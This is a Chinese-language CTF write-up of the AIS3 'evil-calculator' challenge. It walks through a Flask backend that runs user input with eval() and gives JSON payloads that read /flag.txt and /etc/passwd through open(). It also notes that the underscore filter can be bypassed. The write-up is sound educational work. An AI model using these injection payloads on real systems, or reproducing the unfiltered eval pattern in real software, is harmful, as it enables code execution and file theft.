# evil-calculator write up > Ans: ==AIS3{fake_flag}== 進來網站後,會看到一個像計算機的東西。 ![image](https://hackmd.io/_uploads/Skbxmppvgl.png) 這裡先隨意輸入 1+1,看他會做什麼事。 ![image](https://hackmd.io/_uploads/SkEc2gCDgx.png) ![image](https://hackmd.io/_uploads/SyU_2eCwxg.png) 可以發現在我們做計算時,會送出一個 POST 請求,並且檔案是以 JSON 格式傳送,這裡我們攔截請求,先去看看他後端怎麼運作。 ![image](https://hackmd.io/_uploads/BkIxTg0vxl.png) :::spoiler **index.html** 完整原始碼 ```js <script> let expressionScreen = document.getElementById('expression'); function appendToExpression(char) { expressionScreen.value = expressionScreen.value === '0' ? char : expressionScreen.value + char; } function clearExpression() { expressionScreen.value = '0'; } function calculate() { const expression = expressionScreen.value; fetch('/calculate', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({expression: expression}), }) .then(response => response.json()) .then(data => { expressionScreen.value = data.result; }) .catch((error) => { console.error('Error:', error); expressionScreen.value = 'Error'; }); } </script> ``` ::: 在前端的程式碼中,前半段是一般計算機計算跟字元顯示的設定,但後半段傳送 POST 請求中,有一個問題。 ```js const expression = expressionScreen.value; fetch('/calculate', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({expression: expression}), }) ``` 這裡會把我們的輸入轉成 json 傳到後端做處理,但他這裡並沒有做任何的資料檢查或過濾,意味著我們輸什麼,他就送甚麼進去。 :::spoiler <span style="font-weight:bold">app.py</span> 完整程式碼 ```py from flask import Flask, request, jsonify, render_template app = Flask(__name__) @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run("0.0.0.0",5001) ``` ::: 這裡有一段程式碼是針對我們的輸入做處理,但沒有很嚴謹。 ```py @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) ``` ### 1. 先接收使用者的輸入 而使用者可以控制 `data['expression']`,這是**用戶完全可控的輸入**。 ```py data = request.json expression = data['expression'] ``` ### 2. 接著對輸入做過濾 這只把空格和 `_` 拿掉,但沒處理其他危險字符,例如: - `.`(用來存取屬性)。 - `__class__`、`__subclasses__()`(物件鍊)。 - `[]`、`{}`、`()`、`'`、`"` 都還可以用。 只要 payload 沒依賴 `_`,都能執行成功。 ```py expression = data['expression'].replace(" ","").replace("_","") ``` ### 3. 再來是最重要的部分:`eval()` 這會把輸入的字串當成原生 Python 程式碼直接執行,例如: ```py {"expression":"open('/flag.txt').read()"} ``` 執行起來就是: ```py eval("open('/flag.txt').read()") ``` - 讀檔。 - 反彈 shell、刪除檔案。 - 這是標準的 Remote Code Execution (RCE)。 ```py result = eval(expression) ``` ### 4. 然後是例外處理 這裡只會把錯誤訊息包成字串,回傳給前端,不是保護,只是「讓伺服器不要炸掉」。 ```py except Exception as e: result = str(e) ``` ### 5. 最後回傳結果 ```py return jsonify(result=str(result)) ``` 他把 `eval()` 的結果送回給前端,這也代表可以用他來回傳敏感資料,例如: ```js {"expression":"open('/etc/passwd').read()"} ``` ### 攻擊 程式中的 `/calculate` 路由接收 JSON 格式的 POST 請求,然後從中提取 `expression` 參數。該值僅進行了 `.replace(" ","").replace("_","")` 的處理,接著就直接被傳入 `eval()`。由於 `eval()` 能執行任意 Python 程式碼,因此我可以構造惡意輸入,例如: ```js {"expression":"open('/flag.txt').read()"} ``` ![image](https://hackmd.io/_uploads/B1NUTWAwll.png) 雖然是拿到 fake_flag,後來有嘗試 ls,這裡因為他鎖 `_`,我沒辦法用 import,所以直接用 chr 一個一個拼出來,但並沒有給其他有用的檔。 ![image](https://hackmd.io/_uploads/H1FmJMRwxe.png) ---